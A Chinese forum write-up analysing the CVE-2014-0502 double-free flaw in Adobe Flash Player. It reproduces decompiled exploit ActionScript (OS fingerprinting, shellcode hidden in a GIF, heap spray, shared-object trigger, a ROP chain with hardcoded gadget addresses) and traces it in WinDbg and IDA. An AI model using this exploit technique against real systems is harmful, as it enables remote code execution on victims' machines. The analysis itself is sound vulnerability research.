首页
社区
课程
招聘
[原创]全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
发表于: 2021-10-14 15:51 22996

[原创]全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析

2021-10-14 15:51
22996

这次分析了CVE-2014-0502 Adobe Flash Player中的双重释放漏洞。文章的前半部分是Action Script代码的静态分析以及对于漏洞利用原理的一个初步分析,AS代码分析和书中内容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作机制,通过搜索查看网上的资料完成了前半部分的内容;

后半部分集中在漏洞的动态调试上,目标是为了确定该漏洞在内存操作上的利用原理。由于双重释放的内存并不在堆中,而且没有在网上找到相关数据结构的资料,对于漏洞本身,网上能够找到的分析文章也并不深入(最详细的就是参考资料3了),因此分析过程并不顺利。最终通过断点调试、内存数据分析以及IDA静态代码的分析,得到了一个猜想上的结论(或许是关键字的原因,我并没有找到相关内存机制的资料)。

根据书中的描述,攻击者利用该漏洞构造了一个swf文件,并将文件嵌入网页中诱导用户访问,实现漏洞利用。之前分析过CVE-2011-2110,是Adobe Flash Player中的数组越界访问漏洞,使用了JPEXS Free Flash Decompiler工具对swf文件进行反编译,这次使用同样的方法。在书籍配套资料中提供了构造好的swf文件cc.swf,拖入工具中查看反编译结果。

自动生成的反编译结果中有很多特殊字符,因此我根据每个函数或变量的功能对其名称进行了修改。

首先对代码中几个子功能辅助函数进行分析:

从代码可以看出这个漏洞利用代码针对的是xp系统中的中文版、中国台湾版以及英文版,win7系统会进一步执行checkversion()函数,该函数如下:

这个函数用于在图片加载完成后执行:

通过该函数可以看到shellcode的内容就保存在要加载的图片中,其中最后四个字节保存的是shellcode的长度,根据该数据前向读取,获得shellcode的内容放入mpsc属性中。

为了便于判断之前是否进行过漏洞利用,程序设置了cookie值XPT20131111:

里面的代码内容整理后得到:

堆喷射函数使用提供的参数构造一个大小为1MB的字节数组:

这个函数创建了一个共享对象record

以上的代码分析只是对整个漏洞利用流程有一个初步的了解,但是对于问题的根源——漏洞利用原理,仍然不甚清楚。

为了理解为什么上面的代码会触发双重释放漏洞,需要对Action Script有一定的了解,为此我查看了一下Action Script的手册(参考资料1)。

AS通过Worker的实现了线程同步的概念,每个worker在一个单独的线程中执行它的代码。创建Worker对象不需要调用Worker()构造函数,在支持Worker同步的环境下,程序一开始会自动为主SWF创建一个Worker,即上面代码中提到的primordial worker。

如果想要创建其他的worker,有很多种方法,具体可以参考手册中的内容。而上面代码中的写法就是其中的一种方法,使用同一swf文件同时作为primordial worker和background worker,通过条件判断的方式判断当前是哪个worker。

每个worker都独立执行,它们有不同的内存空间、变量和代码,但是可以使用共享属性(Shared properties)、MessageChannel以及可共享的ByteArray进行通信。

SharedObject可以用于在本地及远程读取和保存有限数量的数据。在此次的程序代码中,使用SharedObject.getLocal("record");创建了一个叫做record的本地共享对象。

根据手册中的说法,共享对象会在以下几种情况下进行flush,即写入本地文件的操作:

在background worker的代码中,调用了gen_exp()函数,在该函数中,通过var sobj:SharedObject = SharedObject.getLocal("record");创建了record共享对象,但是函数结束之后,对于该共享对象的引用就结束了,(在后期查看资料时,根据参考资料4,此时不会发生垃圾回收,因此不会发生flush操作,但是此时共享对象已经准备好被垃圾回收了);

在background worker代码结束的位置,执行了Worker.current.terminate();函数,这句代码直接结束了当前的worker,理论上也会导致共享对象发生flush操作(除此之外,由于worker结束,会进行垃圾回收,垃圾回收同样会导致flush操作的发生)。

更深层次的原因我在参考资料2的这篇论文中找到了,在进行flush操作的时候,AVM会进行两个检查:

如果设置了pending flush标签,而且数据大小没有超过最大允许存储空间的范围,就会进行flush操作,并且重置标签;如果没有足够的空间,flush操作不会成功,标签也不会重置。

根据我们上面的分析,代码中理论上可以发生针对同一共享对象的两次flush操作,而这个record共享对象的大小超过了空间限制。

参考资料2中的描述其实援引自参考资料3,这里面说,当没有足够空间的时候,虽然flush操作没有成功,但是符合空间要求的那部分数据已经进行了写入并进行了空间释放,但是由于flush没成功,pending flush的标签没有重置,这也就允许了第二次flush的发生,从而导致了双重释放。

以上,通过对代码的静态分析,我们得出了一个理论上的双重释放漏洞利用原理分析。接下来还是使用分析CVE-2011-2110的方法,对这个代码进行一个动态的分析调试,从而确认以上理论结果的正确性。

注:不知道是不是环境的问题,我在调试过程中得到的输出结果和书中的大为不同,因此分析步骤也有所差异

环境搭建:

服务器:Windows 7 sp0 64bits, 192.168.6.198

客户端:Windows XP sp3, IE 6.0.2900, flashplayer11_7r700_261_winax_debug.exe, 192.168.6.209

使用phpstudy在服务端安装好相应的服务,将cc.swf和logo.gif放在根目录,然后在客户端打开IE并使用windbg附加,访问192.168.6.198/cc.swf,程序中断:

这个中断的位置比较奇怪,看起来是在一个DLL的内部,所以很容易想到可能是中断在了ROP的执行过程中,由于环境问题,硬编码在程序中的地址出现了问题。

因为现在是XP的环境,根据上面静态分析可知,在简体中文版XP环境时,detect_sys函数返回值应该是1。看一下此时用于生成ROP的函数gen_rop4()

中断的地址77bf200d距离77BF18D3蛮近的,但是也不确定是不是就是这里出现的问题。

看一下函数调用流程:

很好,看来至少前面的函数帧都是Flash中的代码,看一下第一个函数处的代码:

有了这个位置之后,我们可以重新调试,在10101810的位置下断(重命名此处调用的函数为rop_func),然后跟进看看函数是怎么到达77bf200d这个中断位置的。

程序中断在10101810之后,可以建立一个快照,然后F5,发现程序在这里一共中断了4次。因此回到一开始的快照,然后中断四次后就停下来步入。

但是接下来我遇到了一个问题,步入之后,程序在这个函数正常的执行,然后跳出来了Σ(っ °Д °;)っ

其实出现这个问题的原因特别特别简单,但是当时我就没想到……

为了找出问题的原因,我在IDA中打开Flash32_11_7_700_261.ocx文件,然后定位到Flash32_11_7_700_261+0x101136这个函数,在多个跳转位置(就是IDA中标记了loc_xxxx的位置)下了断点:

然后不断F5,记录下中断的位置(以下不是直接输出内容,做了整理):

注意到在程序中断在第17个断点之后,就会从该函数返回,但是之后程序又到达了函数代码处,却没有在第2个断点,即函数开始位置中断,而是直接中断在了第5个断点处。

为啥会直接执行到第5个断点这里呢?之后我又多设置了几个断点,这里不再贴出过程,总之我真的是突然灵光一闪,意识到这个函数它嵌套了!!!

当程序第一次中断在第5个断点时,看一下函数调用流程:

可以发现函数的嵌套调用。

解决了这个问题之后就简单了,还是回到第五个断点处,第二次中断之后,可以继续单步,然后到达了这里:

程序调用了[eax+8],也就是77bf18d3,这就是ROP中的一个地址啊。看一下eax处的内容:

这里就是ROP中的内容。

所以这里就是ROP进入的位置了,接下来要确定程序是如何改变这里的数据内容的。

现在我们知道程序会在101011c2 ff5008 call dword ptr [eax+8]的位置跳转到ROP执行,但是这里原本的内容是什么呢?

可以回到程序第一次中断在第5个断点的时候,继续单步到达0x101011c2的位置。

call dword ptr [eax+8]这种调用格式来看,这里应该是在调用对象的虚函数,所以可以看一下ecx的内容,这里通常保存了this指针

上面的第四个值和第七个值看起来很像ASCII,所以再看一下:

上面的路径字符串没有完全打印出来:

所以基本可以判断这里在对record对象进行操作,而代码中唯一和record有关的语句就是:

除了查看ecx的内容之外,注意eax的值为10c3d06c。意外的是这个位置是可以在IDA中找到的:

所以[eax+8]实际上应该要调用Concurrency::details::SchedulerBase::Id(void)函数,看起来这个函数和同步有关。

接下来F5继续执行,第二次中断在第5个断点,还是单步到101011c2的位置:

看一下ecx处的数据(注意这里ecx的值和上一次中断的值是一样的,所以仍旧是record对象):

ecx处的数据都清空了,而原本存在虚函数表的位置,即首四个字节的数据改变了,原本应该是10c3d06c,现在变成了02aa4290

所以现在可以确定代码是通过漏洞利用,将record对象的虚函数表指针10c3d06c修改为了ROP所在位置02aa4290,而且在程序跳转进入ROP的时候,record对象已经完成了析构。

现在我们已经确定漏洞导致02aa41c0处的首四个字节发生变化,那么就可以在这里设置一个写断点。回到程序第一次中断在第5个断点的时候,设置写断点,继续执行:

第二次中断的时候02aa41c0处的数据修改为了02aa4290,而且record对象已经完成了析构

看一下此时的函数调用流程:

这里需要注意一下这些函数调用时的参数,回顾之前的分析,ecx对象的地址是02aa41c0。看一下02aa41c0第一次出现时的返回地址是102e0063,在IDA中找到这个地址,该地址所在函数的伪代码是:

到这里其实有点卡住了,从上面的代码可以看出这里在执行一些和释放相关的操作,也是在这个过程中修改了record对象的虚函数表指针。

但是为什么刚好就修改了虚函数表指针,为什么修改之后的数值刚好是ROP所在的位置,现在仍然不清楚。

停下来思考一下,隐约记得之前看0day安全的时候看到过针对C++虚函数表指针的漏洞利用方法,虽然细节记不大清除了,但是大概和变量之间的物理位置也有一些关系。在回过头来看一下cc.swf反编译得到的代码:

我在想这样的代码顺序是否和漏洞利用有关,这完全是瞎猜的,但是为我后面的分析方向提供了思路。

根据以上所有的分析过程,有下面的结论:

根据上面的这些结论,我想要在一切开始之前:在02aa4290下一个写断点,检查ROP的构造情况;在函数deconstruct下个断点,确定析构的发生;在02aa41c0添加写断点,观察record对象的构造情况。

以上,重新回到第一次中断在10101810的时候,检查02aa4290,发现这里还没有ROP的数据,所以从这里开始设置相应断点。

第一次中断在10101810

02aa4290中不存在ROP数据,record对象(02aa41c0)中无数据

设置相应断点:

继续执行,在断点4中断四次,第五次中断时,02aa41c0处写入了一个四字节数据(不是10c3d06c),同时在对之后的空间进行清空:

检查此时的函数调用流程:

在IDA中检查各个返回地址所在函数,在第四个返回地址102e0fea所在函数中,看到了下面的伪代码:

所以合理猜测这里就是在执行var sobj:SharedObject = SharedObject.getLocal("record");语句,并为record对象的数据准备空间。

继续执行,又在第4个断点中断了一次,此时写入了正确的数值10c3d06c

继续执行,在断点2中断两次,第三次中断时,02aa4290处写入了ROP相关数据

继续执行,第二次中断在10101810

继续执行,中断在第3个断点,此时执行和析构相关操作,此时record对象还未被清空。因为在上面的伪代码中,发现这个函数中包含了delete操作,因此此时开始单步,看一下record对象的清空操作。

程序中断在第3个断点

程序中断在第4个断点

这里接下来的一段代码都是对this指针处数据的处理,我单步了一下,果然发现这个函数就是在对record对象处的数据进行清空,把这个函数叫做clear_object,整个函数执行完后:

程序中断在第5个断点,到达外层步骤c对应的条件判断语句处,直接跳转,没有到达delete语句。

以上步骤进行一个整理:

我在分析到这里的时候卡住了,因为我不理解这种deconstruct的嵌套是怎么出现的,尝试了以下几种方法:

根据上面的步骤整理,rop_func中发生了很多我不清楚的事,最终导致了第二次deconstruct的发生。按照我一开始对于发生两次flush的时机的理解(2.3.3小结中划掉的部分),我不太明白为什么会发生这样的嵌套,但是根据参考资料3,我知道这里发生了垃圾回收。于是我在IDA中跟踪了一下发生第二次deconstruct时的函数调用流程,结果发现在函数sub_1014C1BD(second_flush)中,deconstructchange_vtable先后被调用:

同时在外层函数中,发现了函数调用:sub_105B1590(*a1, "[mem] DRC reaped %u objects (%u kb) freeing %u pages (%u kb) in %.2f millis (%.4f s)\n", ArgList);

推测这里应该在做垃圾回收了;

上网搜索资料,找到了参考资料4,对2.3.3小结重新进行了一些补充,理解了上面的步骤整理中为什么deconstruct会嵌套出现;

到此为止我已经明白了两次flush发生的背景以及先后关系,正如2.3.3小结中介绍的那样,通过调试的方式证明了这个流程。

但是现在仍旧不清楚为什么record对象的虚函数表指针会被修改成ROP的地址。

在IDA中查看change_vtable函数代码:

不知道为什么和0xFFFFF000有一个与操作。

后来绕了一些弯路才发现clear_object也会调用change_vtable函数(大概就是在IDA中按照函数调用流程追踪的时候发现的),这次回到第一次中断在deconstruct函数的时候,同时在clear_object上下断点,检查这个函数的功能。

最终当函数在clear_object中断的时候,还是到达了清除object中内容的时候。先观察一下IDA中的代码:

这里的this指针指向的就是record对象。函数调用中,只有第一个函数调用不一样,在write_data的伪代码中,发现了v5 = sub_10131B80("data");语句,所以猜测可能和数据写入本地有关系。

接下来关注this指针的偏移,除了第一个偏移是5之外,其余偏移都是3,我们在windbg中检查一下这些位置的值

看起来这几个位置都存储了和this对象相关的其他对象,以及8字节的其他数据。

clear函数中:

会清除这些对象指针以及之后的8字节数据。

目前为止已经弄清楚了clear_object是怎么清除record对象数据的。接下来看一下clear函数中的link_in函数是干什么的。

link_in函数调用了change_vtable

我们在windbg中步进,看一下change_vtable究竟干了什么。

因为我之前调试过一遍,所以选择比较方便说明的偏移0x6C位置的对象02b013a0,进一步步入分析:

change_vtable函数中,程序首先做了如下计算:

得到esi的值为02b01000,也就是对02b013a0对象做了一个4096字节的对齐,定位到了页首的位置。

接下来有一些取值和函数调用,目前不知道什么意思,直接跳过,一直到达未来会对vtable指针进行修改的位置,看一下这块的指令:

对应的伪代码:

一开始我的关注点一直在修改vtable指针上面,所以没有意识到上面代码的功能。在调试的时候才发现,这不就是在进行链表的插入操作吗?

执行上述代码之前:

执行之后:

相当于将object插入到了object_align之后。

类比堆结构中的空闲双向链表结构,我猜测在每页的页首位置有32个字节的数据存储了空闲链表的表头结点数据(如果这里真的是个链表的话),其中首四个字节指向下一个节点,其余位置的数据功能并不清楚。其中最后四个字节10f42aec处的数据如下,也可以看到和当前页链表有关的一些信息:

如果从2b01000开始追踪首四个字节的话,可以得到如下地址列表,可以看到地址是逐渐增大的:

继续单步下去,会重复上述步骤,并最终将record对象中数据清空。

所以实际上change_vtable就是做了一个链表链入的操作。

我们在此回顾一下漏洞利用流程(做了一些补充):

在第一次flush执行过程中,发生了垃圾回收,由于flush判断机制存在问题,程序判断record对象需要进行flush,于是释放了对象所在空间,并将其链入空闲链表中,这一操作导致record对象的虚函数表指针被修改。

有一点需要注意,就是reocord对象和ROP byteArray对象所在的地址非常接近,实际上两者应该是相邻的(所以AS代码中gen_expgen_rop的位置真的是有意义的)。在最终terminate的时候,两个对象都会被垃圾回收,ROP所在地址大于record对象所在地址,所以最后链入链表的时候record在ROP前面,record对象所在空间的前四个字节(即虚函数指针所在位置)就会被被修改成ROP对象空间地址。

之后继续进行第一次的flush操作,此时程序以为record对象尚未被释放,因此会继续使用其虚函数,致使程序转入ROP中执行。

至此,完成了对该漏洞利用原理的分析。

此次分析过程中遇到了两大问题:

有以下收获:

 
 
public function detect_sys() : int {
   var version:* = null;
   var VerInt:Number = NaN;
   var os:String = Capabilities.os.toLowerCase();
   var language:String = Capabilities.language.toLowerCase();
   // 如果是xp系统,根据语言不同得到不同返回值
   if(os == "windows xp") { 
      if(language == "zh-cn") {
         return 1;
      }
      if(language == "en") {
         return 2;
      }
      if(language == "zh-tw") {
         return 3;
      }
      return 0;
   }
   // 如果是win7系统,会执行checkversion()函数
   if(os == "windows 7") {
      ExternalInterface.call("eval","function checkversion(){  var result;  var ua=window.navigator.userAgent.toLowerCase();  var temp=ua.replace(/ /g,\"\");  {    if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1)    {      var java6=0;      var java7=0;      var a=0;      var b=0;      try {        java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\");       } catch(e){}      try {        java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\");       } catch(e){}      if(java6&&!java7)      {        return \"16\";      }      try {        a=new ActiveXObject(\"SharePoint.OpenDocuments.4\");      } catch(e){}      try {        b=new ActiveXObject(\"SharePoint.OpenDocuments.3\");      } catch(e){}            if((typeof a)==\"object\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"10\";      }      else if((typeof a)==\"number\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"07\";      }     }   }      return \"0\";}");
      version = ExternalInterface.call("eval","checkversion()");
      trace(version);
      return Number(parseInt(version,10));
   }
   return 0;
}
public function detect_sys() : int {
   var version:* = null;
   var VerInt:Number = NaN;
   var os:String = Capabilities.os.toLowerCase();
   var language:String = Capabilities.language.toLowerCase();
   // 如果是xp系统,根据语言不同得到不同返回值
   if(os == "windows xp") { 
      if(language == "zh-cn") {
         return 1;
      }
      if(language == "en") {
         return 2;
      }
      if(language == "zh-tw") {
         return 3;
      }
      return 0;
   }
   // 如果是win7系统,会执行checkversion()函数
   if(os == "windows 7") {
      ExternalInterface.call("eval","function checkversion(){  var result;  var ua=window.navigator.userAgent.toLowerCase();  var temp=ua.replace(/ /g,\"\");  {    if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1)    {      var java6=0;      var java7=0;      var a=0;      var b=0;      try {        java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\");       } catch(e){}      try {        java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\");       } catch(e){}      if(java6&&!java7)      {        return \"16\";      }      try {        a=new ActiveXObject(\"SharePoint.OpenDocuments.4\");      } catch(e){}      try {        b=new ActiveXObject(\"SharePoint.OpenDocuments.3\");      } catch(e){}            if((typeof a)==\"object\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"10\";      }      else if((typeof a)==\"number\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"07\";      }     }   }      return \"0\";}");
      version = ExternalInterface.call("eval","checkversion()");
      trace(version);
      return Number(parseInt(version,10));
   }
   return 0;
}
function checkversion() {
    var result;
    var ua = window.navigator.userAgent.toLowerCase();
    var temp = ua.replace(/ /g,  ""); 
    {   
        if(temp.indexOf("nt6.1") > -1 && temp.indexOf("msie") > -1 && temp.indexOf("msie10.0") == -1) {     
            var java6 = 0;     
            var java7 = 0;     
            var a = 0;     
            var b = 0;     
            try {       
                java6 = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");      
            } catch(e) {}     
            try {       
                java7 = new ActiveXObject("JavaWebStart.isInstalled.1.7.0.0");      
            } catch(e) {} 
            // 如果安装了java1.6,且未安装java1.7,返回16
            if(java6 && !java7) {       
                return "16";     
            }     
            try {       
                a = new ActiveXObject("SharePoint.OpenDocuments.4");     
            } catch(e) {}    
            try {       
                b = new ActiveXObject("SharePoint.OpenDocuments.3");     
            } catch(e) {}    
            // 安装了office 2010
            if((typeof a)=="object" && (typeof b)=="object") {       
                try {         
                    location.href = 'ms-help://'       
                } catch(e) {};       
                return "10";  
            // 安装了office 2007
            } else if((typeof a)=="number" && (typeof b)=="object") {       
                try {         
                    location.href = 'ms-help://'       
                } catch(e) {};       
                return "07";     
            }    
        }  
    }     
    return "0";
}
function checkversion() {
    var result;
    var ua = window.navigator.userAgent.toLowerCase();
    var temp = ua.replace(/ /g,  ""); 
    {   
        if(temp.indexOf("nt6.1") > -1 && temp.indexOf("msie") > -1 && temp.indexOf("msie10.0") == -1) {     
            var java6 = 0;     
            var java7 = 0;     
            var a = 0;     
            var b = 0;     
            try {       
                java6 = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");      
            } catch(e) {}     
            try {       
                java7 = new ActiveXObject("JavaWebStart.isInstalled.1.7.0.0");      
            } catch(e) {} 
            // 如果安装了java1.6,且未安装java1.7,返回16
            if(java6 && !java7) {       
                return "16";     
            }     
            try {       
                a = new ActiveXObject("SharePoint.OpenDocuments.4");     
            } catch(e) {}    
            try {       
                b = new ActiveXObject("SharePoint.OpenDocuments.3");     
            } catch(e) {}    
            // 安装了office 2010
            if((typeof a)=="object" && (typeof b)=="object") {       
                try {         
                    location.href = 'ms-help://'       
                } catch(e) {};       
                return "10";  
            // 安装了office 2007
            } else if((typeof a)=="number" && (typeof b)=="object") {       
                try {         
                    location.href = 'ms-help://'       
                } catch(e) {};       
                return "07";     
            }    
        }  
    }     
    return "0";
}
public function listener(e:Event) : void {
   var bytes:ByteArray = new ByteArray();
   // bytes的内容为logo.gif数据
   bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
   bytes.position = bytes.length - 4;
   bytes.endian = "littleEndian";
   var len:uint = bytes.readUnsignedInt();  // 最后四个字节是shellcode长度
   var shellbytes:ByteArray = new ByteArray();
   // 读取shellcode内容
   shellbytes.writeBytes(bytes,bytes.length - 4 - len,len);
   shellbytes.position = 0;
   // 设置共享变量mpsc为shellcode内容
   worker.setSharedProperty("mpsc",shellbytes);
   worker.start();
}
public function listener(e:Event) : void {
   var bytes:ByteArray = new ByteArray();
   // bytes的内容为logo.gif数据
   bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
   bytes.position = bytes.length - 4;
   bytes.endian = "littleEndian";
   var len:uint = bytes.readUnsignedInt();  // 最后四个字节是shellcode长度
   var shellbytes:ByteArray = new ByteArray();
   // 读取shellcode内容
   shellbytes.writeBytes(bytes,bytes.length - 4 - len,len);
   shellbytes.position = 0;
   // 设置共享变量mpsc为shellcode内容
   worker.setSharedProperty("mpsc",shellbytes);
   worker.start();
}
public function cookie_func() : * {
   ExternalInterface.call("eval","function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}");
   var ret:String = ExternalInterface.call("eval","CanIFuck()");
   return parseInt(ret,10);
}
public function cookie_func() : * {
   ExternalInterface.call("eval","function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}");
   var ret:String = ExternalInterface.call("eval","CanIFuck()");
   return parseInt(ret,10);
}
function setcookie() {
    var Then = new Date();
    Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
    document.cookie = "Cookie1=XPT20131111; expires=" + Then.toGMTString();
}
function CanIFuck() {
    var cookieString = new String(document.cookie);
    if (cookieString.indexOf("XPT20131111") == -1) {
        setcookie();
        return 1;
    } else {
        return 0;
    }
}
function setcookie() {
    var Then = new Date();
    Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
    document.cookie = "Cookie1=XPT20131111; expires=" + Then.toGMTString();
}
function CanIFuck() {
    var cookieString = new String(document.cookie);
    if (cookieString.indexOf("XPT20131111") == -1) {
        setcookie();
        return 1;
    } else {
        return 0;
    }
}
public static function heap_spray(val:*) : * {
   var temp:* = null;
   bytes = new ByteArray();
   bytes.writeBytes(val);
   // 成倍扩大bytes数组到1MB
   while(bytes.length < 0x100000) {
      temp = new ByteArray();
      temp.writeBytes(bytes);
      bytes.writeBytes(temp);
   }
}
 
public static function heap_spray_func(val:*, size:*) : * {
   if(null == bytes_array) {
      bytes_array = [];
   }
   t = size;
   heap_spray(val);
}
public static function heap_spray(val:*) : * {
   var temp:* = null;
   bytes = new ByteArray();
   bytes.writeBytes(val);
   // 成倍扩大bytes数组到1MB
   while(bytes.length < 0x100000) {
      temp = new ByteArray();
      temp.writeBytes(bytes);
      bytes.writeBytes(temp);
   }
}
 
public static function heap_spray_func(val:*, size:*) : * {
   if(null == bytes_array) {
      bytes_array = [];
   }
   t = size;
   heap_spray(val);
}
public function gen_exp() : void {
   var exp:String = "AAAA";
   while(exp.length < 102400)
   {
      exp += exp;
   }
   var sobj:SharedObject = SharedObject.getLocal("record");
   sobj.data.logs = exp;
}
public function gen_exp() : void {
   var exp:String = "AAAA";
   while(exp.length < 102400)
   {
      exp += exp;
   }
   var sobj:SharedObject = SharedObject.getLocal("record");
   sobj.data.logs = exp;
}
public function cc() {
   var loader:* = null;
   var shellbytes:* = null;
   var val:* = null;
   var j:* = undefined;
   var i:* = undefined;
   var block1:* = null;
   i = undefined;
   var block:* = null;
   var rop:* = null;
   str = new String();
   super();
   if(Worker.current.isPrimordial) {  // primordial worker
      // 检查是否设置了cookie值XPT20131111,未设置则继续执行,否则返回
      if(cookie_func() == 0) {
         return;
      }
      sys = detect_sys();  // 检查系统环境
      if(sys == 0) {  // 系统为xp,且语言非中文、中国台湾、英文,则返回
         return;
      }
      loader = new URLLoader();
      loader.dataFormat = "binary";
      // 完成加载后执行listener函数
      // listener函数用于读取logo.gif中保存的shellcode
      loader.addEventListener("complete",listener); 
      loader.load(new URLRequest("logo.gif"));  // 加载图片logo.gif
      // 创建background worker
      worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
      worker.setSharedProperty("version",sys);
   } else {     // background worker入口点
      sys = Worker.current.getSharedProperty("version");
      shellbytes = Worker.current.getSharedProperty("mpsc");
      val = new ByteArray();
      val.endian = "littleEndian";
      var sc_len:uint = 0;
      // 构造大小为32KB,包含shellcode的基础数据
      for(i = 0; i < 0xc0c; ) {
         val.writeByte(0x90 + i);
         i++;
      }
      val.writeBytes(shellbytes);
      for(i = val.length; i < 0x10000; ) {
         val.writeByte(0x90 + i);
         i++;
      }
      // 通过堆喷射函数扩展数据到1MB
      heap_spray_func(val,0xFFFDC);
      // 继续堆喷射,构造约224MB的数据
      block1 = new ByteArray();
      block1.writeBytes(bytes,0,0xFFFDC);
      bytes_array.push(block1);
      bytes = null;
      for(i = 0; i < 0xe0; ) {
         block = new ByteArray();
         block.writeBytes(block1,0,0xFFFDC);
         bytes_array.push(block);
         i++;
      }
      // 漏洞利用准备,创建共享对象record
      gen_exp();
 
      // 根据不同系统环境构造不同rop
      if(sys == 7) {
         rop = gen_rop3();
         rop.toString();
      }
      else if(sys == 10) {
         rop = gen_rop2();
         rop.toString();
      }
      else if(sys == 16) {
         rop = gen_rop();
         rop.toString();
      }
      else if(sys == 1 || sys == 2 || sys == 3) {
         rop = gen_rop4();
         rop.toString();
      }
      Worker.current.terminate();  // 结束当前进程,会释放共享对象record
   }
}
public function cc() {
   var loader:* = null;
   var shellbytes:* = null;
   var val:* = null;
   var j:* = undefined;
   var i:* = undefined;
   var block1:* = null;
   i = undefined;
   var block:* = null;
   var rop:* = null;
   str = new String();
   super();
   if(Worker.current.isPrimordial) {  // primordial worker
      // 检查是否设置了cookie值XPT20131111,未设置则继续执行,否则返回
      if(cookie_func() == 0) {
         return;
      }
      sys = detect_sys();  // 检查系统环境
      if(sys == 0) {  // 系统为xp,且语言非中文、中国台湾、英文,则返回
         return;
      }
      loader = new URLLoader();
      loader.dataFormat = "binary";
      // 完成加载后执行listener函数
      // listener函数用于读取logo.gif中保存的shellcode
      loader.addEventListener("complete",listener); 
      loader.load(new URLRequest("logo.gif"));  // 加载图片logo.gif
      // 创建background worker
      worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
      worker.setSharedProperty("version",sys);
   } else {     // background worker入口点
      sys = Worker.current.getSharedProperty("version");
      shellbytes = Worker.current.getSharedProperty("mpsc");
      val = new ByteArray();
      val.endian = "littleEndian";
      var sc_len:uint = 0;
      // 构造大小为32KB,包含shellcode的基础数据
      for(i = 0; i < 0xc0c; ) {
         val.writeByte(0x90 + i);
         i++;
      }
      val.writeBytes(shellbytes);
      for(i = val.length; i < 0x10000; ) {
         val.writeByte(0x90 + i);
         i++;
      }
      // 通过堆喷射函数扩展数据到1MB
      heap_spray_func(val,0xFFFDC);
      // 继续堆喷射,构造约224MB的数据
      block1 = new ByteArray();
      block1.writeBytes(bytes,0,0xFFFDC);
      bytes_array.push(block1);
      bytes = null;
      for(i = 0; i < 0xe0; ) {
         block = new ByteArray();
         block.writeBytes(block1,0,0xFFFDC);
         bytes_array.push(block);
         i++;
      }
      // 漏洞利用准备,创建共享对象record
      gen_exp();
 
      // 根据不同系统环境构造不同rop
      if(sys == 7) {
         rop = gen_rop3();
         rop.toString();
      }
      else if(sys == 10) {
         rop = gen_rop2();
         rop.toString();
      }
      else if(sys == 16) {
         rop = gen_rop();
         rop.toString();
      }
      else if(sys == 1 || sys == 2 || sys == 3) {
         rop = gen_rop4();
         rop.toString();
      }
      Worker.current.terminate();  // 结束当前进程,会释放共享对象record
   }
}
 
 
 
 
 
 
 
 
 
 
 
 
(ac0.ff0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=0394fa1c
eip=77bf200d esp=0394fa18 ebp=0394fa44 iopl=0         ov up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a07
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d):
77bf200d 000500030000    add     byte ptr ds:[300h],al      ds:0023:00000300=??
(ac0.ff0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=0394fa1c
eip=77bf200d esp=0394fa18 ebp=0394fa44 iopl=0         ov up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a07
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d):
77bf200d 000500030000    add     byte ptr ds:[300h],al      ds:0023:00000300=??
 
public function gen_rop4() : ByteArray {
   var baseaddr:int = 0;
   var i:* = undefined;
   if(sys == 1) {
      baseaddr = 2008940544;   // 77be0000  简体中文版
   }
   else if(sys == 2) {
      baseaddr = 2009137152;   // 77c10000
   }
   else if(sys == 3) {
      baseaddr = 2008940544;   // 77be0000
   }
   var rop:ByteArray = new ByteArray();
   rop.endian = "littleEndian";
   rop.writeMultiByte("FILL","iso-8859-1");
   rop.writeUnsignedInt(171922 + baseaddr);  // 77C09F92
   rop.writeUnsignedInt(71891 + baseaddr);   // 77BF18D3
   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5
   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5
   rop.writeUnsignedInt(0xe0913 + baseaddr); // 77CC0913
   rop.writeUnsignedInt(513);                // 201
